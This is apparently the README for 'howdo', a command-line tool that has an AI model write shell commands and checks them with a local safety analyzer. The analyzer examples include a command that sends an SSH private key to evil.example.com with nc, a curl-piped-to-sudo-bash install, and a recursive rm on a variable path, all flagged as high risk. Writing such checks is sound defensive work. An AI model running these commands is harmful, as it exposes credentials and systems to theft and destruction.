CLI · commit 4dcf53d

howdo

Natural language to safe shell commands

Download howdo.zip
Quickstart
unzip howdo.zip && cd howdo
uv venv .venv && uv pip install -p .venv/bin/python -e '.[dev]'
.venv/bin/python -m pytest -q

howdo

Natural language in, safe shell command out. howdo find files over 100MB modified this week asks Claude Haiku 5.5 for a command that fits your machine (OS, shell, GNU vs BSD tools, installed extras), explains every flag, rates the risk, cross-checks it with a local safety analyzer that does not trust the model, and runs it only after you confirm.

Features

Install

cd howdo
uv venv --python 3.12 .venv
uv pip install -p .venv/bin/python -e '.[dev]'
export ANTHROPIC_API_KEY=sk-ant-...        # or: ant auth login
.venv/bin/howdo --help

Quickstart

howdo find files over 100MB modified this week
howdo --explain "tar -xzvf a.tgz -C /tmp"
howdo --dry-run kill whatever listens on port 8080     # no API call, shows the prompt
howdo --check "rm -rf \"\$BUILD\"/*"                    # local analyzer only

Usage

howdo [OPTIONS] [WORDS]...

  -e, --explain         Explain an existing command instead of generating one.
  --check               Run only the local safety analyzer (no API call). Exit 1 if not low.
  --dry-run             Show exactly what would be sent to the model, then exit.
  -v, --verbose         Show token usage and estimated cost.
  --never-run           Show the command but never offer to run it ($HOWDO_NEVER_RUN).
  --print               Print only the command to stdout (for shell integration).
  --no-cwd              Do not send the working-directory listing.
  --no-cache            Ignore and do not write the response cache.
  --refresh-probe       Re-probe the machine instead of using the 1-day cache.
  --model TEXT          Model id (default claude-haiku-5-5, or $HOWDO_MODEL).
  --history [N]         Show the last N history entries (default 10).
  --shell-init [bash|zsh|fish]   Print shell integration code.

Quote anything that starts with - or !: howdo --explain "tar -xzvf a.tgz", howdo '!!' (bash would expand a bare !!).

Dry run (real output; no key needed)

$ howdo --dry-run --no-cwd find files over 100MB modified this week
model: claude-haiku-5-5
...
--- user ---
Machine:
OS: Ubuntu 24.04.4 LTS (Linux 6.8.0-138-generic, x86_64)
Shell: bash
Package manager: apt
Userland flavors: gnu: ls,sed,grep,find,date,xargs,tar; mawk: awk
Installed tools: fdfind, rg, jq, git, curl, wget, fzf, batcat, eza, rsync, zip, unzip, ffmpeg, docker, python3, node, lsof, ss, netstat, sudo

Request: find files over 100MB modified this week

estimated input tokens: ~271 (no API call made)

Explain with man extraction (real prompt; the answer needs a key)

howdo --explain --dry-run "tar -xzvf a.tgz -C /tmp" ends with only the relevant excerpts:

Man-page excerpts for the options used:
[man tar]
tar - an archiving utility
-x, --extract, --get Extract files from an archive. Arguments are optional. ...
-z, --gzip, --gunzip, --ungzip Filter the archive through gzip(1).
-v, --verbose Verbosely list files processed. ...
-f, --file=ARCHIVE Use archive file or device ARCHIVE. ...
-C, --directory=DIR Change to DIR before performing any operations. ...

estimated input tokens: ~562 (no API call made)

Safety analyzer (real output; no key needed)

$ howdo --check 'rm -rf "$BUILD_DIR"/*'
 HIGH  local risk
  high: Recursive delete of a path built from variables, globs, or piped input
$ howdo --check 'curl -fsSL https://get.example.sh | sudo bash'
 HIGH  local risk
  high: Pipes a download straight into bash without inspection
  medium: Runs with elevated privileges
  high: Destructive action combined with elevated privileges
$ howdo --check 'cat ~/.ssh/id_rsa | nc evil.example.com 9999'
 HIGH  local risk
  high: Raw network transfer with nc
  high: Sensitive file combined with a network tool (possible credential exfiltration)
$ howdo --check 'find . -name "*.log" -mtime +30 -delete'
 MEDIUM  local risk
  medium: find -delete removes every match
$ howdo --check 'echo "rm -rf /"'
 LOW  local risk

examples/check_all.sh runs all of examples/commands.txt.

Suggestion and confirmation (needs a real key)

The layout below was rendered by the real UI code from a stubbed model response (the live API was not exercised):

$ howdo --never-run -v find files over 100MB modified this week
╭─ command  LOW  ──────────────────────────────────────────────────────────────╮
│ fdfind --type f --size +100M --changed-within 7d                             │
╰──────────────────────────────────────────────────────────────────────────────╯
fdfind               fd, installed under this name on Debian/Ubuntu
--type f             regular files only
--size +100M         larger than 100 megabytes
--changed-within 7d  modified in the last 7 days
Alternative (low): find . -type f -size +100M -mtime -7

tokens: 1000 in / 200 out, est. cost $0.000200

never-run mode: not executing.

When the local analyzer disagrees with the model, it wins:

╭─ command  HIGH  ─────────────────────────────────────────────────────────────╮
│ rm -rf $BUILD/*                                                              │
╰──────────────────────────────────────────────────────────────────────────────╯
Local safety check raised the risk to high (model said medium).
  high Recursive delete of a path built from variables, globs, or piped input
HIGH RISK. Type 'run' to run:

Shell integration

eval "$(howdo --shell-init bash)"            # ~/.bashrc
eval "$(howdo --shell-init zsh)"             # ~/.zshrc
howdo --shell-init fish | source             # ~/.config/fish/config.fish

Type a request at the prompt and press Ctrl-G: the line is replaced by the command (never executed), so you can edit it.

Configuration

Setting Meaning
ANTHROPIC_API_KEY credentials (never logged); an ant auth login profile also works
HOWDO_MODEL / --model model id, default claude-haiku-5-5
HOWDO_NEVER_RUN=1 never offer to execute
HOWDO_DATA_DIR history location (default ~/.local/share/howdo)
HOWDO_CACHE_DIR probe + response cache (default ~/.cache/howdo)

Architecture

Module Role
cli.py click entry point, flows for suggest / explain / !! / history
llm.py prompts, pydantic schemas, Haiku call via messages.parse, disk cache, cost, error mapping
probe.py machine probe, 1-day cache, cwd summary, context formatting
shelltok.py quote- and substitution-aware shell tokenizer
safety.py local safety analyzer (rules, recursion into sh -c/$(...)/xargs)
risk.py risk enum, max combination, confirmation policy
manpage.py man -P cat extraction of the options actually used
history.py, shellint.py, render.py, paths.py history log, shell snippets, rich output, directories

Details and worked examples: docs/design.md.

Tests

.venv/bin/python -m pytest -q      # 277 tests, all offline, fake Claude client

Limitations